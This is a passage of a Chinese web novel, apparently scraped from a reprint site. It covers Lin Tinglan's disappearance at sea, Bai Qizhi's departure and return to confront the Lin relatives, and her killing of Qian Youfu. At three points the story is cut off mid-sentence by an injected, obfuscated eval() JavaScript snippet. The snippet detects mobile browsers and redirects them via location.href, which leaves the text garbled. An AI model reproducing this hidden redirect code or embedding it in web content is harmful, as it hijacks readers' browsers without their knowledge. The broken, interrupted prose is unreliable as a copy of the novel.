白栖枝眼睁睁地看着林听澜叫人在屋子里熏了香，又蹲在沈忘尘身旁握着他烧得略微发红的手絮絮安抚，情意缠绵到白栖枝甚至觉得他像在跟沈忘尘交代遗言。 但也不能这么想，林听澜就要出海远行，这么想他也太造孽了。 白栖枝还是希望他能平平安安的回来，这样自己也不用在这个地方遭这个破罪。 晚上的时候，她和林听澜还难得地坐在一起安生吃了顿饭。 白栖枝甚至想过要不要把桌给掀了，但想想，浪费粮食总归是不好的，便安静坐下吃了。 林听澜将府内情况事无巨细地交代给她，这倒是让她想起当年沈忘尘也是如此教给她他平生所学，强烈的既视感让白栖枝差点吐了，但毕竟是个蛮重要的事情她不听也不太好，就只能跟个闷气的苦瓜一样坐在那里听，心里想着：钱钱钱，都是为了钱！ 从前没钱的日子过得太苦，导致她现在连一个铜板都不肯放过。 终于，在林听澜将林家府库钥匙交给她，又吩咐下人要尽心竭力听他指挥后，就匆匆走了。 烧了三日不醒的沈忘尘睁开眼看到的就是一脸苦瓜样的白栖枝，两人匆匆见过一眼，白栖枝交代了几句就去忙了，之后两人虽都在府内生活但再也没见过一眼。 两人都在等着林听澜的归来，一直等到葭月的第一场雪纷纷落下，林府门口才有人传来急告—— 林家商队遭遇海贼，船只被毁，货物陈海，连带着随去的人都不知是死是活。 林听澜就这样在海域里失、踪、了。 111. 要走 白栖枝真是恨得牙痒痒。 林听澜那个混蛋，说好回来就会放她自由，结果现在来了个失踪？ 失踪？什么叫失踪？ 人无非只有两种活人和死人，现在你说他失踪？ 白栖枝简直气得胸口痛：“活要见人，死要见尸，都给我去找！找不到就都扔去喂鱼！！！” 大家还是第一次见这位素来和颜悦色的白小姐生气，在别人手里头做过工的都知道，往往都是这种人生气起来更可怕，比那种经常生气的老板还要可怕。 但总不能让林家所有家仆都去找，而且这事儿也不能涉及到官府。淮安第一富商就这样被小小的海贼炸毁船只海域失踪，这事儿说出去到底还是朝廷的过错，眼下时局本就动荡，加之族内旁支还在对林家这块大肥肉虎视眈眈，这事儿捅出去指定更难办。 现在只有一种办法：对外，派些人手去海滩和港口租赁船只、雇佣渔民搜寻，或者偷偷的组织船队和其他船只在海上进行搜寻；对内，则要封锁消息，让林家里里外外都安定下来，让旁人只知道林听澜出海贸易却不知道他海上失踪的事，这事儿能瞒多久瞒多久，瞒到林听澜回来最好。可若是瞒不了，就说他死了，然后找个可靠的人继承家产。 可去哪儿找个可靠的人呢？ 白栖枝第一个想到的人就是沈忘尘，可是这俩人之间又没有律法上所能阐述的关系，顶多也就是淮安境内的人知道两人同吃同睡同住罢了，要真论起来瓜分家财，沈忘尘还真没这个资格。 除非…… 脑子里冒出个胆大的念头，白栖枝飞速甩了甩脑袋，将这个念头驱逐走。 眼下就只能按着她那个办法办，至于沈忘尘那边，听闻林听澜失踪，他原本将好要好的病一下子又加重了。都说病来如山倒，病去如抽丝，可这山也太大了，这丝也太密了！林家上下都没有一个能出主意的人，而这份担子自然就落到了白栖枝头上。 香玉坊那头，除了春花都不知道她还在林府的消息，白栖枝也不想让他们知道。她在林家内彻底与外头断联，好在林听澜走前已为白栖枝打点好上下一切，如今谈生意也并非需要她亲自跑出去谈，皆由各商铺店主代为效劳，白栖枝只需要清点好林府上下逐项事宜就好。 但白栖枝想快快逃，所以她将希望都放在了沈忘尘身上。 沈忘尘还病着，因为身上不爽利连带着又烧了好几天，白栖枝都害怕他烧成个傻子。 好在又烧了三日后，沈忘尘终于昏昏沉沉地醒来，见他神情不似神智全无，白栖枝也就放下心来。 她起身要走。 “枝枝。”床上人突然发出喑哑低弱的声音，白栖枝还是没骨气地顿住脚步，就听着身后人喃喃低语，“这几日，辛苦你了……” “辛苦我？”白栖枝努力地没有转过头去看他，冷嘲道，“与其担心我过得辛不辛苦，不如好好担心担心你自己。等你病好，我肯定是要走的，到时候你就一个人守着他的基业等着他回来吧，我就不奉陪了。” 说完，白栖枝转身便走，连一片衣角都没有留下。 一连好几日，他们又没见面。 沈忘尘没什么贴身小厮，一直都是芍药陪在他身边，她从房里出来时还和白栖枝打过照面。 白栖枝开始只是一愣，随即便反应过来，没声儿地笑了一下，就又去忙自己的事了。 其实当年不只是王二丫，白栖枝也知道自己在府内被人监视了。 她比谁都更知道自己在林府的处境。 可她以为倘若自己不看不听不说，假装一切都不知道、不清楚、不明白，她就可以被放过。 听闻沈忘尘身体一点点好了起来甚至有余力在屋里着手算着林家账簿的时候，白栖枝想都没想，就在房间里收拾行李。 她的东西不多，要拿的只不过一两件衣裳，阿娘的金镯，一些银两，还有那两张阿娘死前急急塞入她怀中的两张信纸。 婚契和欠条，她要等到林听澜平安回来才能兑现，她比谁都希望那个混蛋能平安回来。 “啪嗒。” 有什么东西好像从衣裳的缝隙中掉了出来，白栖枝一看，居然是宋长宴送给她的那枚平安符。 宋长宴此去一路考学，也不知道如今有没有回来。 秋天发生了太多的事，他们甚至都来不及匆匆见上一眼。 但也没关系，倘若真的有缘，就算山遥路远也能再见，更何况她以后还要回淮安找林听澜要钱呢，反正都能再见，总不差这几年。 想着，白栖枝又将那枚平安符系回自己脖颈上。 因被搁置的时间太长，绸缎贴近皮肤时有些凉，跟窗外头的雪一样。 白栖枝想，如果林听澜现在还在水里漂着的话，那他肯定要被冻成个冰人了，就像……就像那时候她跳进湖里帮人捡手帕一样。 如果她从神女庙求来的那个平安符真的有用的话，如果神女大人真的能偶然注视她一下的话，那还是让林听澜回来吧。 让他快快回来吧。 淮安的雪下得越来越大了。 又过去约莫十日，沈忘尘终于好利索了，白栖枝也终于收拾好自己的小包袱打算撂挑子不干了。 虽然她答应过林听澜要在他回来前一直照顾好林家、照顾好沈忘尘，可这两人骗了她那么久，她这一次食言而肥又能怎样？反正林家还有沈忘尘在，无论从智力方面还是笼络人心方面，他不比她要强得多？哪里需要她这个笨蛋！她还有别的事要做呢，大家各司其职，各尽其责岂不比现在这样拧拧巴巴地拴在一起要强的许多？ 白栖枝在内心给自己找了无数个理由。 终于，在葭月雪下得最大的那天，她还是鼓起勇气去书房见了沈忘尘。 “还给你们。”白栖枝将拴着林府内库房的那串钥匙摆到沈忘尘面前。 后者还是一副嗜着温润笑意的模样，微微抬头。盯着她一瞬不瞬地看。 也就是在这时候，白栖枝才发现自己长大了，原本需要平视着沈忘尘的她现在居然需要微微低下些头颅才能与她对视了。 而且比起之前，她发现沈忘尘好像更瘦削，病气更重了，连带着脸颊薄唇都是苍白的。 她想，反正自己都要与他毫无瓜葛了，在这儿没事担心他做什么？ 她将林听澜交给她的东西尽数归还给了沈忘尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378086|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 后者一直抿着唇默默看着，良久，才合上书勉强露出一个温柔和煦的笑意，轻声问道：“枝枝想好下一步要去哪儿吗？” 他的声音干瘪的，夹杂着有气无力的气音，听得让人心头一跳。 白栖枝镇定了下道：“我要回长平。”她要回长平，要回到自己家去。 这些时日，她也偷偷仗着林家掌家人的身份打探了些情况：自家中人尽数惨死之后，长平白家的府邸就变成了当地人人口相传的贵宅。现在没人想住到那里去，甚至大家都对它避之不及，白府的宅子也就这样荒废了下来。 白栖枝想，与其她最终都要回到长平去，不如就先走这一步，反正那些人当年没有杀她，如今也未必能把她一个孤女放在眼里。而且看在她这么惨的份儿上，神女大人大概、也许、可能会庇护一下她吧？她还得把贡品还给神女大人呢，看在那些贡品的份儿上，神女大人总得叫她还完债再去死吧？ 眼下她唯一担心的就是沈忘尘肯不肯放她走。 从一开始到现在，在林家人心所向的主人除了林听澜就是他，倘若他现在一声令下再叫人把她关回那个阴暗狭窄的屋子里，叫她给他生个孩子，她也没办法反抗。 不，不对，她现在根本就已经不想反抗了，在权利上的巨大悬殊面前，她根本就反抗不了。 生活就像她杀得第一个人那样，倘若她手里没把趁手的武器，她就绝不可能绝地逢生。 既然如此，那与其拼命挣扎，她还不如心甘情愿地当一个受虐狂，纵情享受生命给她的那些痛。 反正她已经彻底放弃抵抗了…… 心里这么想着，可用力攥紧小包袱的手还是出卖了她的真实想法。 心像擂鼓一样震得她胸闷，白栖枝站在原地，静静等着沈忘尘给她的答复。 “好。”出乎意料的，沈忘尘居然一口同意了下来。 然而更令白栖枝出乎意料的，这人居然还同意亲自为她雇马车送行。 白栖枝总觉得这好事儿里掺杂着数不尽的算计，她一下子警觉起来：“这么好心？你不会想让车夫半路上把我迷晕再拖回来吧？”她紧紧地盯着沈忘尘那双茶雾似得眼睛看，希望从中找到他骗她的蛛丝马迹。 可是没有，那人听完他的想法后只是淡淡一笑：“不会的。”他说，“我总归还没有那么丧尽天良。” 白栖枝：不信。 “只是……”沈忘尘顿了顿，一张含着笑着薄唇上越发没了血色，“只是，我还有一个小小的请求，枝枝可以答应我吗？” 白栖枝：我就说他又要坑我！ 她：“你可以说，但我不一定会答应。” “好吧。”沈忘尘无力地弯了弯唇角，刚想张口，却牵连出一串的咳嗽。 那咳嗽像是从他五脏六腑里震出来的，每咳一声，就感觉他这个人五脏六腑都要随之被震碎了，看得白栖枝心头直跳，生怕下一秒他就要呕出一口血来喷在她面儿上。 白栖枝可不希望沈忘尘现在死掉。他死了，就没人帮她担林家这个担子了，而且他死了，林听澜回来会打死她的。 她可不希望沈忘尘就这样死掉。 112. 耗尽 白栖枝没想到沈忘尘居然只是想跟她待一天。 晚上，看着面前一大桌子她最爱吃的菜，白栖枝甚至想过沈忘尘想要毒杀她都没想过那人是真心想为她办一场送别宴。 她生生忍住了用银簪子在每个菜里每碗饭里戳一遍的冲动，疑惑地看向沈忘尘。 “没毒的。”沈忘尘如同看穿她的想法一般，淡淡道，“吃吧。”自己却不为所动。 白栖枝记得他的手是很难握住筷子的，加上他病了这么久，手上就更没有多少力气了，今天她去找他的时候还听见他将要处理的事都说给芍药，让她记下来。 面前人的目光一直温温和和的，像水一样，看得白栖枝奓毛。她摆出一张臭脸试探性地问道：“你为什么不吃？” “我不饿的。”沈忘尘说。 白栖枝：“你怎么证明你不饿？”她终于下定决心刻薄了一回，“难道林听澜不在，你连饭都吃不了了？” 说完，她觉得自己有点太刻薄了，但还是忍住内心的谴责，面无表情地垂眸看着自己面前的饭。 “你不吃，我也不吃了。”她说。 纵然白栖枝已经努力摆出一副刻薄的样子，但是在沈忘尘眼里，她还是好可爱。 是的，可爱。 两人在一起的时间不算少，沈忘尘在内心给过她最多的评价就是“可爱”。 在他眼中，小姑娘一直跟个小狸奴一样，不欺负她的时候就很乖，欺负狠了就会泪眼汪汪地露出自己稚嫩的小爪子反抗，但除了给人挠上两道之外并没有什么好威胁别人的，一点也不凶。 当然，这话沈忘尘肯定是不能让白栖枝知道的，不然她会把这一桌子饭菜都给掀了砸了的。 她学不会绝情，所以只能摆出一副冷冰冰的模样假装自己绝情。 她实在是太可爱了…… 两人僵持良久。 最终还是白栖枝受不了沈忘尘那长辈似的、盯着她看的关怀眼神，而缴械投降，默默抓起筷子开始扒碗里的米饭。 还是像第一次那样，她放不开，只敢吃自己面前的那小盘菜，夹着夹着，就开始只吃大米饭，最后又开始吃眼泪拌饭。 灯火还在飘渺，白栖枝就着眼泪吞下这口烛火饭。 耳畔，那个熟悉的声音又再次开口，说出的话几乎要将她击溃： “怎么了？是饭菜不合口味吗？需不需要让芍药他们重做？” ——白小姐……怎么了？是饭菜不合胃口吗？ 白栖枝忍着泪意开口：“明明我也不想的……” ——明明我也不想的…… “明明以前大家在一起很好的，明明以前我有好好在对你们的，明明事情不该是这个样子的……” ——明明我也不想来的，明明我也想在家里好好长大的，明明我也不希望自己嫁人的…… “怎么就能闹到了这个地步呢？” 白栖枝心里有太多太多的“明明”，可事已至此，说什么都于事无补——明明一切都跟最初一样，可为什么就回不去了呢？ 她从小就记忆很好，这为她带来了很多方便，可也让她很痛苦，因为她根本就没办法忘记忘记他们曾经在一起相处的那些小细节，她根本没办法忘记他们当时对她的那些好。偏她自己也不争气，没办法真的狠下心来抛弃道德和恩情同他们一刀两断。 她始终想不明白，为什么事情就一定闹到这个地步了呢？ 白栖枝真的好后悔自己当时为什么要那么心急，为什么自己当时谈成生意之后就那么急着要去告诉他们？是不是只要她晚去一点点，只要她没有听到那番对话，只要她差一点点、就差一点点，是不是她就可以不用这么痛苦，事情就不用闹到这个地步了？ 恨来恨去，她最恨的人其实只有自己罢了。 她恨不上别人的。 小姑娘哭得跟个刚从水里捞出来的小猫一样，沈忘尘呼吸一窒，连带着胸腔里那颗跳动的心都跟着钝痛。 “枝枝，不走了好不好？就留在这儿。不！甚至只留在淮安，只留在淮安境内就好，不要走，好不好……”沈忘尘太想说这句话了，可是这屋里最没有颜面说这话的人就是他了。 他真的是寂寞太久了，如今林听澜不在，白栖枝走掉的话他就真的只是一个人了。 他从小到大都是一个人，倘若这辈子一直如此也就罢了。 偏生他从踏出沈家大院儿后就遇到了林听澜，两人像是抱薪救火，不知道怎么就凑在一起，用彼此的阴影捆绑着、纠缠着，恨不能一同将对方吞噬。 他是从小被轻贱，林听澜是从小被拘束，他们在一起是安慰不了对方的，因为他们都是空壳。 可正因为是空壳，他们才能在一起相伴。因为但凡换一个爱人，都能一眼看穿他们只是个空有躯壳却没有灵魂的人。他们跟其他人都是走不长远的！ 这也就是为什么他们一直都在若有若无地排斥着白栖枝。 他们害怕这个从小被爱填充得满满当当的孩子，这会显得他们像是两只在街头巷尾对着他人的爱摇尾乞怜，妄想着窥探着他人幸福自己就可以得到幸福的狗！ 他们不想再当狗了，所以他们在一起了，给着对方自以为是爱的爱，他们本来可以在这片幻境里活得很幸福很满足的。 偏巧白栖枝来了，他们甚至都不用她说什么，光凭她泛红的眼尾和水盈盈的眼睛里就可以看到她的心疼，她真的在真心实意的心疼着他们。 他们这辈子听到过的甜言蜜语全被她那句红着眼眶说出的“可我心疼你们啊”给完完全全的杀死掉了。 他们最怕她这个样子了，他们最怕自己又要成为摇尾乞怜的狗了，他们太想毁掉她了。 可真当他们看见白栖枝那么狼狈的模样时，他们竟也学会没来由地心疼她了。 事情怎么会变成这个样子啊？ 沈忘尘答应放白栖枝走就是放白栖枝走，他不想让她再掺和进这趟浑水里了。 他养过一只小白鸟，曾经他希望这只小白鸟一辈子被困在他精心为他准备的囚笼里，用它下的蛋来困住她一辈子，却将这只小白鸟伤得遍体鳞伤。然而现在，他不想再让这只小白鸟受伤，他要亲手打开笼子，他只希望亲眼看着那只小白鸟飞得更高更远，这辈子都不要再回来。 小白鸟、小白鸟，快快飞、快快飞，展翅翱翔向天辉。 那一晚，两人除了吃饭都没有再说上一句话。 第二天，沈忘尘真的为她派了一辆马车送她回家。 那一天的雪比前日来的要小，沈忘尘就坐在马车旁亲眼看着白栖枝登上马车后没有再回头。 随着车夫一声轻快的“驾”，他的小白鸟就真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384249|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展翅一去不复回。 他又只剩下自己一个人了。 沈忘尘身体虽弱，但好在此前一直与林听澜住在一起，为他分担家务，所以如今哪怕是掌控整个家，也算游刃有余。 只是有些事终究是纸包不住火。 距离白栖枝出走不到半月，林家旁支的那些宗族长老们便找上门来。 他们都知道林听澜不在林家，如今掌权的不过是个外人——不，甚至只是一个男宠——心里便颇为不舒服，看着沈忘尘的眼神像豺狼看见一只绵羊，个个都恨不得生吞活剥了他。 沈忘尘掌家多年自然也不是吃素的，更何况他本就是个擅长以柔克刚的性子，两边一番推诿扯皮下来，他竟也能险胜，但也是惨胜。 不过一日，他的身体便已吃不消，就连最后面对长老们的一番质问，他也只是忍着病痛强打起精神才能勉强应对。 等下人推他下去的时候，他整个人就跟刚从水里捞出来似的，厚重的狐皮大氅下一身白衣早就被冷汗打透了，黏在身上，跟透明了一样。还未等被人扶到床上，他自己就先在轮椅上发了场大病，吓得府内奴仆们又是端着热水，又是拿着抱着干净的衣物，又是褪去他脏污了的衣衫裤子，进进出出好几趟，这才把人给收拾干净了。 这样下去终归不是个办法，沈忘尘想。 他想把那些人撵出去，可那些人偏巧仗着跟林听澜的血缘关系，赖在府里不走了。况且沈忘尘和林听澜没名没分的，他也没有理由撵他们，他们怎么呆，呆几日，也全都是他们说了算。 更何况，林家的这几位早就知道沈忘尘身子不行，他们就是想拖垮他，能把他拖死最好！到时候这偌大的林家就是他们的盘中餐！就算林听澜真的能回来，毕竟大家都是亲戚，他总不能真和他们撕破脸皮，到时候闹得几家都不好看，对林听澜来说难道就不是个损失吗？ 就这样想着，几人就在林府住下了。 “沈公子。”看着沈忘尘这样强撑着，林府的奴仆们也都看不下去了，有人在沈忘尘面前轻声劝道，“实在不行，就请白小姐回来吧……” 他们的意图也很明显：白栖枝到底是从小就和大爷有婚约的，只要她拿出那张婚契，那她就是正儿八经的林家主母。有主母在，那些旁支就算是看她不顺眼也不能怎样。况且白小姐跟林家还是有些情谊在的，她总不能真的搞垮了林家，所以事到如今，请她回来是最好的解法。 可沈忘尘却不愿：“她不会回来了。”他病得迷迷糊糊的，只能发出柔弱的气声，“到底是我们害了她，她厌恶我们，她不会再回来了。” 距离白栖枝离开已经一月有余，整个林府早已被闹得鸡犬不宁。 这半月以来，那些林家无赖们明里暗里都跟沈忘尘不对付，沈忘尘尚在病中，没力气同他们发火，有些事听他们说也就过去了，并没放在心上，可有些事儿还是能气的他狠狠发病几场，最难的那个时候，他甚至前脚儿刚离开那些人，后脚儿就呕出一口血来。可他又不敢请郎中上门诊治，怕得就是这事儿传到那些无赖耳朵里，让他们更为得意。 好在芍药侍候他良久，竟也略懂些医术，每每夜里都为她针灸按摩，这才能让他吊住这最后一口气硬撑着。 府内人都怕沈忘尘就这样要被那些宗族长老们硬生生耗到油尽灯枯。 直到—— 113. 审问 少女眉心的那点殷红像是一粒圆润的朱砂，但怎么瞧着都不像天生就有的，反倒像是—— 疤。 沈忘尘静静地看着站在马车上睥睨众人的少女，她穿着锦衣华服，头带金钗，眉心上那一点朱砂痣被水蓝色的衣裙衬得越发鲜红如血，此刻她正垂眼从高处看着自己，眉头轻皱，反倒露出一股子大户人家小姐娇颜殊色。 “这、这不是……”林家人有眼尖的指着她高声道，“这不是当年兴儿看中的那个丫鬟么！！！她怎么会是白大小姐？” 众人这才发觉自己为什么看这张脸实在是眼熟，谁也忘不了林兴朝那堂前一闹，七叔公还想让林听澜把那丫鬟赐给林兴朝做妾，谁想那小贱骨头反倒是个有骨气的，挟持了林兴朝不说连硬生生挨了板子也没求饶过一次，令人实在是印象深刻。 如今这位白大小姐与那位小丫鬟模样有十成十的相似，这究竟是巧合还是有人故意为之？ “放肆！”未等众人将目光转向沈忘尘，少女脸上已满是愠怒，“丫鬟？小小贱婢也配与本小姐相提并论？我看他林听澜和你们这些不知道从哪里来的混账东西真是活腻了，竟敢拿本小姐与丫鬟做比，难不成你们真想人人都去公堂上挨板子？”她掷地有声道，“还不赶紧给本小姐赔罪！” 一个落魄了的小姐也敢如此放肆！ 林家众人皆愤愤不已，可人家就算是落魄了也曾是官家子女，到底不是他们这些人所能比拟的。由是，哪怕是受尽羞辱，他们也不得不抓出个替罪羊来向这位白大小姐赔罪。 “砰！” 木杖重重打向男人腿弯，随即只听“扑通”一声，方才还说人像林府丫鬟的人猛地跪倒在地，其力道之重，叫旁边人皆倒吸了一口冷气。 七叔公面容严肃，不怒自威：“还不快给人家白大小姐赔罪！” “可……”七叔公眼风一扫，那人立即不出声了，赶紧跪下耷拉着脑袋乖乖朝白小姐赔罪。 后者这才心情些许转好。 她从马车上下来，缓缓走到沈忘尘面前，竟连一个衣褶都不乱一下。 她将沈忘尘从头发丝儿扫到衣摆下若隐若现的鞋尖儿，又从鞋尖儿扫回他脸上。 看着他那双如茶雾般叫人捉摸不透的琥珀色眼瞳，白大小姐蓦地一笑：“说句没皮的话：人要俏，一身孝。沈公子这大雪天的一身白衣，还真是别有一番味道。那蠢货倒也是个有眼光的，还知道要挑个好颜色的来，啧啧……你被他玩弄了身子真是可惜了。你笑什么？” 沈忘尘墨澈双眼里温柔的笑意愈发浓重：“白小姐这样的金枝玉叶夸奖沈某，沈某自然是开心的。” “油嘴滑舌。”白小姐嗤笑了一声，抬眼，视线扫过立在门前不动的林家众人，凛冽道：“你们还看着做什么？把你林家的正厅堂都给我收拾出来，我要审他！” 正厅很快被下人收拾干净，他们都偷偷瞧着那位自长平远道而来的白小姐，心里暗道这不就是大爷之前养在府里的那位白小姐呢。虽然不知她如今为何性情大变，但到底还是个知心知理的人，还是大爷打小有娃娃亲的青梅竹马。有她坐镇，再加上沈公子，就不愁这家中被那些粗鄙远亲给靠倒了。 想着，众人收拾好后纷纷退下，这位白小姐又屏退了林家旁的那些人。 如此一来，偌大的前厅房内就只剩下她和沈忘尘两个。 昔日她跪堂下，那两人坐堂前审讯于她，今时今日却全都变样，也是终于轮到她坐堂上，沈忘尘坐在堂下受她审讯，为她刁难了，此时此景，说不痛快那肯定是假的。她实在是…… “枝枝……” 温柔的一声唤唤回了白栖枝的心神。 是了，那位从长平而来，坐着林家车马的白家白大小姐除了白栖枝还能是谁呢？ 两人对簿堂前，白栖枝等着沈忘尘问她为什么要回来，可那人却只是像一只漂亮的雪狐一样笑眯眯地看着她，在看到她看回自己的时候，甚至还朝她轻轻歪了歪脑袋，蓦地一笑，好似早已将她的心思洞穿。 ——疯了。 白栖枝皱着眉头如是想道。 她坐在宽大的八仙椅上，却始终觉得就算自己坐到这里，但真正的主导权还是被沈忘尘紧紧攥在手里。她厌烦透这种感觉了。 不过昔日和过去两相对比，白栖枝发现这几日来沈忘尘还是清减消瘦得厉害。昔日他身上虽算不得有几两肉，可面色没这么苍白，下巴也没这么尖，至于那副残缺的身躯，虽然被暖和厚重的狐裘裹住，却依旧能见其里头的身子形销骨立。也许是有林家人在，他的头发不再像从前那样随意地披散在身后，而是拿了根簪子轻轻一绾——那簪子白栖枝还认得，正式她还给沈忘尘的那根玉兰发簪， 一身瘦伶伶的骨，一根朴素无华的木簪，就这么撑起了一个病恹恹的人。 “还真是狼狈啊……”白栖枝双手抱在胸前，身子向后一靠，“你不总是说林听澜是爱你么？可他群连名分或者一张证明你身份凭证都不给你留下，嘴上说爱的要死实则还不是一样？”你我其实都是一样的，甚至于你还不如我。 最后一句话就到嘴边，可她怎么也说不出，咬牙切齿了半晌最后也只是从鼻子里发出一个带着气音的“哼”，满脸傲娇的模样。 果然还是个孩子啊，连想要刺伤人都说得这么不痛不痒，实在是太可爱了。 想着，沈忘尘笑了一下，说：“是啊，所以今后沈某就只能仰仗白小姐了，还请白小姐能在家中给沈某留个活路，不要让沈某活得太惨。” 他虽是这么说着，可脸上的笑分明是一副逗孩子的模样，倘若不是白栖枝正面对着他，恐怕真就以为他是在朝自己讨饶了。 哼！果然，这人还是老样子，惯会用些登不得台面的小把戏哄人开心。可时至今日她也不是当年那个一哄就上当的小姑娘了，这个坑她是绝不会掉两次的！ 面对沈忘尘讨饶似得撒娇，白栖枝正儿八经道：“撒娇没用的沈公子，你当你是个什么人物？还要我来保你——我才不要保你。”说到这儿，她扫了一圈门，又仔细听了听，确定没人爬门偷听才低声道，“如果不是不想林听澜的财产落到那些不三不四的人手里，我才不会回来。沈兄啊沈兄，你就是这么保林听澜的家产的？” 她就是奔着林听澜的财产来的，要知道这林家现在也有她的一半，倘若那些钱真的被林家其余人给要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可既然出了城，就要做出一副去长平的样子。 白栖枝知道紫玉自打出事后就没时间同蔚大师联系，于是她给了车夫些酒钱让她去住村子里的酒庄，自己则去蔚元柳家里借宿了几天。她这人不招人讨厌，加上她临走时沈忘尘又叫人在她包袱里塞了好些淮安城内出名糕点让她路上垫肚子，她不是两手空空到人家的。 即使是面对蔚元柳，白栖枝也不敢说真话，她只是说自己最近太累想要放放假，正好来看看村里这边儿的田地如何了。 蔚元柳想带她去看，但她怕那里有知情人也就婉拒了。 两人聊了约莫有三天左右，说的也是些关于村子里杂七杂八的事儿，蔚元柳本来想让白栖枝在这儿住五天的，毕竟这么个小糯米团子似的姑娘又聪明又懂事，谁不愿意多稀罕稀罕？ 但第三天夜里，白栖枝就说自己要走了。 蔚元柳还问过是因为什么，白栖枝说自己歇息多了怕耽误香玉坊里的事儿，所以要先走了。 可事情真是这样么？ 不，白栖枝不只是要回去—— 她是要回去杀人了…… 她知道王二丫是被谁害死的了。 114. 湘红 缘分这种东西还真是说不清。 我知道你的命连着我的命，所以杀掉杀死你的人，四舍五入也就是除掉了想让我死的人。 在埋尸的时候，白栖枝是这样想的，一旁的湘红看见埋得只露张脸的钱有富，神色满是鄙夷： “呸！作孽的死东西，每天变着法儿地折磨我，死了活该！” 这事儿还得打钱有富被白栖枝放走后说起。 自打被那么虐待了一通，他就像是发掘了什么新癖好一样，变着法儿地虐待那些个花楼里的姑娘们，首当其冲的就是他的老相好湘红。 先是一点点的尝试，然后骤然暴露出本性，最后就开始每天都要有新花样。 什么扇巴掌，揪头发，吊悬空，滴蜡油……只有姑娘们想不到的，没有钱有富做不出的。 湘红被折磨完了，就要找其他姑娘做消遣。 他钱有富有钱，有的是钱，在花楼里寻姑娘难道还能是个难事儿？老鸨是不管姑娘们愿不愿意的，她想的是如何从有价值的姑娘身上榨油水，以及如何处理那些没价值的姑娘。只要有人出钱，出足够钱，她一准儿是愿意的。 整个花楼里的姑娘都被折磨得生不如死，尤其是湘红，真是恨毒了他，恨不得有人能杀死他！ 然后，白栖枝就找上门来了。 湘红不是听过白栖枝的大名，她本来好奇为什么她这样的大老板要和自己做这种交易，但既然有人能杀了钱有富，她也不在意究竟是何缘由了，便一口同意下来。 白栖枝也不是没准备的。 自她从蔚元柳那里回到淮安后就找了个酒楼随便住着，她戴着面纱，眉心又没了红痣只剩个疤痕，没有人会认出她。 好巧不巧的是，她自打回来后就一直好奇林家究竟在沈忘尘的治理下如何了，谁知道她刚想去看看，就撞见邻居和那些远戚进了淮安。 白栖枝暗中观察着那乌泱泱一堆人，就见着他们在淮安找了个酒楼打算先住两天，白栖枝就假装客人去那里吃饭，正巧就听见他们打算怎么拖垮沈忘尘，怎么平分林听澜家的家财。 这下可就有意思多了。白栖枝幸灾乐祸地想，沈忘尘他有大麻烦了。 结果还没等她幸灾乐祸多长时间，她转头出门没多久就撞上了要去香玉坊的春花。若只是撞上那还不尴尬，尴尬的是面纱还一不小心被拽掉了。 唉，真是人生处处是倒霉。 “小姐？！”春花本想道歉来着，结果抬头就看见自家小姐，登时就愣在原地不动弹了。 白栖枝将她拉到一边。 春花原本想问白栖枝为什么还要回来，可刚张嘴眼泪就掉了下来，还是白栖枝拿出随身带着的手绢把她眼泪擦干净。 没时间扯那些有的没的，白栖枝怕这次林家人来林听澜的家产就会被那些人分食，她将方才在酒楼里听到的事儿都告诉给了春花。春花也很是害怕，别的不说，她怕林兴朝也跟着过来，到时候她就再没有个好日子过了。 两人想在这儿上商量下对策，可大街上终归不是说话的好地方。 托春花的福，白栖枝假装成她远房亲戚，两人找了个酒楼住下。 客房内，春花急得来回踱步，反倒是白栖枝一副无所谓的模样，收拾着自己的行囊。 春花说：“小姐，倘若他们真的奔林家而来，以沈公子那身子可遭不住他们磋磨。” 白栖枝没有说什么“怎么，你心疼他”的蠢话，其实，就在方才她听完林家那些人在酒楼里商量对策的时候，她大概也就知道自己需要怎么做。可这事儿要真做起来，她要付出的代价可太大了，她还得好好想想。 “让他被磋磨磋磨也好。”白栖枝淡淡道，“就是该让他吃点苦头，他才能明白这天下不是所有事都能称心如……”并非全都称心如意，比如他那双腿。 时至今日，白栖枝还是会为他那双腿感到惋惜。 可这又关她什么事呢？又不是她打折的。 话说到这儿，就被抿下喉头，白栖枝说自己自然有办法，但她心里还堵着气，不想这么快就回去帮沈忘尘。况且她还有一点点事没有做，在这件事做完之前，她是不好回林家的。 “放心吧，我也不会真的让家里倒下。”白栖枝道，“但是春花你要帮帮我，你知道绮梦院里有个姑娘叫湘红吗？” 春花想了想：“只是听莫当时提过那么一两嘴，小姐若是有需要，我将他给您找来？” “不。”白栖枝拉住了她，“不要让任何人知道我这次回来的事，等我再次回林家，我就不是我了。”见春花一脸疑惑，她道，“打我再踏入林家府门的那一刻起，我就得是宣和画院白翰林白纪风之女，就再不能是什么香玉坊的东家了。春花姐，你能明白吗？” 只有斩断过去，白栖枝才能让人信服她是白家的白栖枝，而不是林家的那个不知道打哪儿来的远房表妹。 